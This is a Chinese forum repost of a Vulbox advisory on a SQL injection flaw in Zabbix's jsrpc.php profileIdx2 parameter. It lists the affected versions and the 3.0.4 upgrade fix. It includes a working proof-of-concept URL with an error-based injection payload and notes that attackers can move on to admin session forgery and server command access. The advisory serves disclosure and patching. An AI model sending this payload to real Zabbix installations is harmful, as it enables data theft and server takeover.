×

扫描二维码登录本站

QQ登录

只需一步,快速开始

标签: 暂无标签

zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

1.png

但是无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

官方网站:http://www.zabbix.com

1漏洞测试
在您的zabbix的地址后面加上如下url:
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

输出结果,如下表示漏洞存在:

[url=] 0?wx_fmt=jpeg.jpg [/url]

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射,获取自己想获得的数据。
有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。
2影响范围
Zabbix 2.2.x,2.4.x, 3.0.0-3.0.3

3修复方案
• 升级zabbix版本至3.0.4
原创:Vulbox

0?wx_fmt=jpeg.jpg




上一篇:Zabbix 3.0 趋势预测,预警故障
下一篇:怎样在CentOS 6下安装Zabbix 3.0
monicazhang

写了 2297 篇文章,拥有财富 12859,被 21 人关注

您需要登录后才可以回帖 登录 | 立即注册
B Color Link Quote Code Smilies

成为第一个吐槽的人

手机版|小黑屋|最新100贴|论坛版块|ITIL先锋论坛 |粤ICP备11099876号|网站地图
Powered by Discuz! X3.4 Licensed  © 2001-2017 Comsenz Inc.
返回顶部